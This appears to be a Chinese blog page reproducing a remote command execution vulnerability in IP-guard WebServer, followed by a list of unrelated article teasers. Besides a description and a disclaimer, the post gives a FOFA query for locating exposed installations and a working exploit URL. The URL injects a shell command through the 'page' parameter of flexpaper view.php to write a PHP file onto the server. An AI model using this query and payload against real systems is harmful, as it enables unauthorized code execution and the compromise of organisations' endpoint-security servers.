当前位置： 首页 > news >正文

【漏洞复现】IP-guard WebServer 存在远程命令执行漏洞

news 2026/2/17 16:08:46

漏洞描述

IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件，旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。
在这里插入图片描述

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

资产确定

fofa   app="IP-guard"

漏洞复现

漏洞链接：http://127.0.0.1/ipg/static/appr/lib/flexpaper/php/view.php?doc=1.jpg&format=swf&isSplit=true&page=%7C%7Cecho+%3C?php+phpinfo();+?%3E+%3Esanyt.php
漏洞数据包：















相关文章：
















【漏洞复现】IP-guard WebServer 存在远程命令执行漏洞




漏洞描述 
IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件，旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。  
免责声明 
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危…...






编程日记
2023/11/22 16:08:50



















人工智能学习阶段有哪些?




人工智能学习阶段有哪些? 人工智能是一个跨学科、跨领域的杂交学科，未来的趋势来看,人工智能的出现使人们的生活变得更美好、更便捷，许多小伙伴想学习人工智能，其实看似人工智能比较杂多，无从下手，我们只要从以下7个阶…...






编程日记
2023/11/22 16:07:50



















vue 中为什么需要虚拟DOM、VDOM 是如何生成的、VDOM 如何做 diff 的?




一、vue 中为什么需要虚拟DOM 
1.1本概念 基本上所有框架都引入了虚拟 DOM 来对真实 DOM 进行抽象，也就是现在大家所熟知的VNode 和VDOM 
Virtual DOM 就是用js 对象来描述真实 DOM，是对真实 DOM 的抽象，由于直接操作 DOM 性能低但是is 层的操…...






编程日记
2023/11/22 16:06:49



















数据分析思维与模型：相关分析法




相关分析法是一种用于研究两个或多个变量之间关系强度和方向的统计方法。这种方法在多个领域，如经济学、心理学、社会科学和自然科学中都有广泛应用。其核心是通过计算相关系数来量化变量之间的相关性。以下是相关分析法的一些基本概念和步骤： 
选择变量…...






编程日记
2023/11/22 16:05:48



















【算法萌新闯力扣】：两句话中的不常见单词




力扣热题：两句话中的不常见单词 
开篇 今天是备战蓝桥杯的第19天，今天到目前刷了4道力扣算法题。其中，这道题是对我来说收获最大的一道，让我更熟练地掌握了一些算法题中方法，于是来与大家分享一下。 
题目链接: 884.两…...






编程日记
2023/11/22 16:02:45



















Xilinx Zynq-7000系列FPGA任意尺寸图像缩放，提供两套工程源码和技术支持




目录 1、前言免责声明 2、相关方案推荐FPGA图像处理方案FPGA图像缩放方案 3、设计思路详解HLS 图像缩放介绍 4、工程代码1：图像缩放 HDMI 输出PL 端 FPGA 逻辑设计PS 端 SDK 软件设计 5、工程代码2：图像缩放 LCD 输出PL 端 FPGA 逻辑设计PS 端 SDK 软件设…...






编程日记
2023/11/22 16:01:44



















基于 Glibc 版本升级的 DolphinDB 数据查询性能优化实践




在高并发查询、查询需要涉及很多个分区的情况下，低版本的 glibc（低于2.23）会严重影响查询性能。需要升级 glibc 解决该问题优化性能。我们撰写了本文，通过 patchelf 工具修改可执行文件和动态库的 rpath，达到无需升级系…...






编程日记
2023/11/22 16:00:43



















【顺序表的应用-通讯录的实现】




提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 目录 前言 一、顺序表的应用 1. 基于动态顺序表实现通讯录 1、功能要求 2、代码实现 二、通讯录的代码实现 1.通讯录的底层结构(顺序表) (1)思路展示 (2)底层代码实现(顺序表…...






编程日记
2023/11/22 15:59:42



















[Spring Cloud] Nacos 实战 + Aws云服务器




文章目录 前言一、拥有一台Aws Linux服务器1.1、选择Ubuntu版本Linux系统1.2、创建新密钥对1.3、网络设置1.4、配置成功，启动实例1.5、回到实例区域1.6、进入具体的实例1.7、设置安全组 二、在Mac上连接Aws云服务，并安装配置JDK112.1、解决离奇的错误2.2…...






编程日记
2023/11/22 15:58:42



















SpringCloud微服务注册中心：Nacos介绍，微服务注册，Ribbon通信，Ribbon负载均衡，Nacos配置管理详细介绍




微服务注册中心 
注册中心可以说是微服务架构中的”通讯录“，它记录了服务和服务地址的映射关系。在分布式架构中，服务会注册到这里，当服务需要调用其它服务时，就这里找到服务的地址，进行调用。 微服务注册中心 
服务注…...






编程日记
2023/11/22 15:57:39



















身份证号码校验




根据《新版外国人永久居留身份证适配性改造要点》，公司需要把代码中对身份证的校验进行优化 
就文档内容可以看到需要优化的要点是： 新版永居证号码以 9 开头  受理地区代码出生日期顺序码校验码；（共18位） eg&#xff…...






编程日记
2023/11/22 15:55:37



















ArcGIS如何处理并加载Excel中坐标数据？




做GIS行业的各位肯定免不了跟数据打交道，其中数据的处理说复杂也复杂，因为我们要花时间去做数据的转换及调整工作，那说简单也简单，因为我们有很多的工具可以使用，那么今天我就给大家带来处理Excel中的GIS数据中的其中一…...






编程日记
2023/11/22 15:54:36



















C++标准模板（STL）- 类型支持 （类型修改，从给定类型移除 const 或/与 volatile 限定符，std::remove_cv）




类型特性 类型特性定义一个编译时基于模板的结构，以查询或修改类型的属性。 
试图特化定义于 <type_traits> 头文件的模板导致未定义行为&#xff0c;除了 std::common_type 可依照其所描述特化。 
定义于<type_traits>头文件的模板可以用不完整类型实例…...






编程日记
2023/11/22 15:53:34



















nodejs搭建本地服务




前端开发时想自己有个本地服务如下操作直接上干货 
1.在桌面上直接在powerShell 输入命令行 npm install -g express-generator 然后 npm install -g express 然后新建一个例如server的文件夹 在powerShell执行 express myStudy -e  端口号默认是3000 直接在地址栏输入 http://…...






编程日记
2023/11/22 15:52:33



















如何看待Unity新收费模式？




Unity新收费模式的变化主要在于将收费重心从功能分级收费转变为资源使用量收费&#xff0c;这个改变已经引起了一定的争议和反响。以下是我个人的看法&#xff1a; 
优点&#xff1a; 更公平的收费方式&#xff1a;新的收费模式将更加公平&#xff0c;用户只需按照实际使用的数…...






编程日记
2023/11/22 15:51:32



















Excel数据可视化—波士顿矩阵图【四象限图】




EXCEL系列文章目录 Excel系列文章是本人亲身经历职场之后萌发的想法&#xff0c;为什么Excel覆盖如此之广&#xff0c;几乎每个公司、学校、家庭都在使用&#xff0c;但是它深藏的宝藏功能却很少被人使用&#xff0c;PQ、BI这些功能同样适用于数据分析&#xff1b;并且在一些需…...






编程日记
2023/11/22 15:48:29



















【Java】智慧工地管理系统源代码,支持二次开发,SaaS模式




智慧工地系统围绕工程现场人、机、料、法、环及施工过程中质量、安全、进度、成本等各项数据满足工地多角色、多视角的有效监管,实现工程建设管理的降本增效。 一、行业现状 
1、施工现场管理难&#xff1a;安全事故频发&#xff0c;人工巡检难度大&#xff0c;质量进度协同难等…...






编程日记
2023/11/22 15:47:28



















Lstm+transformer的刀具磨损预测




视频讲解： 
基于Lstm+transformer的刀具磨损预测实战_哔哩哔哩_bilibili 
结果展示： 数据展示： 主要代码： 
# pip install openpyxl -i https://pypi.tuna.tsinghua.edu.cn/simple/
# pip install optuna -i https://pypi.tuna.tsinghua.edu.cn/simple/
import numpy as np…...






编程日记
2023/11/22 15:46:27



















本机idea连接虚拟机中的Hbase




相关环境&#xff1a; 
虚拟机&#xff1a;Centos7 hadoop版本:3.1.3              hbase版本:2.4.11             zookeeper版本:3.5.7   
Java IDE:IDEA    JDK&#xff1a;8 步骤 
步骤一&#xff1a;在idea创建一个maven项目 
步骤二&#xff1a;在虚拟机里找到core-site.x…...






编程日记
2023/11/22 15:44:26



















.NET中的Object类学习3_MemberwiseClone方法




文章目录 一、前言二、Object.MemberwiseClone方法1 定义2 示例3 备注 三、总结 一、前言 
按照MSDN文档的章节顺序来&#xff0c;本文应该是第五节。 但是学了上一节 Finalize之后&#xff0c;发现其内容对实际开发帮助不大。 所以这次跳过了前面的GetHashCode、GetType章节&a…...






编程日记
2023/11/22 15:43:25





















IGP（Interior Gateway Protocol，内部网关协议）




IGP&#xff08;Interior Gateway Protocol&#xff0c;内部网关协议&#xff09; 是一种用于在一个自治系统&#xff08;AS&#xff09;内部传递路由信息的路由协议&#xff0c;主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...






编程新知
2025/10/12 11:54:26



















FastAPI 教程：从入门到实践




FastAPI 是一个现代、快速&#xff08;高性能&#xff09;的 Web 框架&#xff0c;用于构建 API&#xff0c;支持 Python 3.6。它基于标准 Python 类型提示&#xff0c;易于学习且功能强大。以下是一个完整的 FastAPI 入门教程&#xff0c;涵盖从环境搭建到创建并运行一个简单的…...






编程新知
2025/10/16 7:51:26



















c++ 面试题(1)-----深度优先搜索（DFS）实现




操作系统&#xff1a;ubuntu22.04 IDE:Visual Studio Code 编程语言&#xff1a;C11 
题目描述 
地上有一个 m 行 n 列的方格&#xff0c;从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子&#xff0c;但不能进入行坐标和列坐标的数位之和大于 k 的格子。 
例…...






编程新知
2026/1/10 10:16:16



















从零开始打造 OpenSTLinux 6.6 Yocto 系统（基于STM32CubeMX）（九）




设备树移植 
和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 
源码修改及编译 修改arch/arm/boot/dts/st/Makefile&#xff0c;新增设备树编译 		stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...






编程新知
2026/2/5 12:11:18



















反射获取方法和属性




Java反射获取方法 在Java中&#xff0c;反射&#xff08;Reflection&#xff09;是一种强大的机制&#xff0c;允许程序在运行时访问和操作类的内部属性和方法。通过反射&#xff0c;可以动态地创建对象、调用方法、改变属性值&#xff0c;这在很多Java框架中如Spring和Hiberna…...






编程新知
2025/11/9 2:57:17



















c#开发AI模型对话




AI模型 前面已经介绍了一般AI模型本地部署&#xff0c;直接调用现成的模型数据。这里主要讲述讲接口集成到我们自己的程序中使用方式。 
微软提供了ML.NET来开发和使用AI模型&#xff0c;但是目前国内可能使用不多&#xff0c;至少实践例子很少看见。开发训练模型就不介绍了&am…...






编程新知
2026/2/1 8:59:45



















回溯算法学习




一、电话号码的字母组合 import java.util.ArrayList;
import java.util.List;import javax.management.loading.PrivateClassLoader;public class letterCombinations {private static final String[] KEYPAD {"",  //0"",  //1"abc", //2"…...






编程新知
2026/1/24 12:01:38



















保姆级教程：在无网络无显卡的Windows电脑的vscode本地部署deepseek




文章目录 1 前言2 部署流程2.1 准备工作2.2 Ollama2.2.1 使用有网络的电脑下载Ollama2.2.2 安装Ollama&#xff08;有网络的电脑&#xff09;2.2.3 安装Ollama&#xff08;无网络的电脑&#xff09;2.2.4 安装验证2.2.5 修改大模型安装位置2.2.6 下载Deepseek模型 2.3 将deepse…...






编程新知
2026/2/6 16:59:24



















处理vxe-table 表尾数据是单独一个接口，表格tableData数据更新后，需要点击两下，表尾才是正确的




修改bug思路&#xff1a; 分别把 tabledata 和 表尾相关数据 console.log() 发现 更新数据先后顺序不对 settimeout延迟查询表格接口 ——测试可行 升级↑&#xff1a;async await 等接口返回后再开始下一个接口查询 ________________________________________________________…...






编程新知
2026/2/13 21:23:57



















使用LangGraph和LangSmith构建多智能体人工智能系统




现在&#xff0c;通过组合几个较小的子智能体来创建一个强大的人工智能智能体正成为一种趋势。但这也带来了一些挑战&#xff0c;比如减少幻觉、管理对话流程、在测试期间留意智能体的工作方式、允许人工介入以及评估其性能。你需要进行大量的反复试验。 
在这篇博客〔原作者&a…...






编程新知
2026/2/13 12:17:13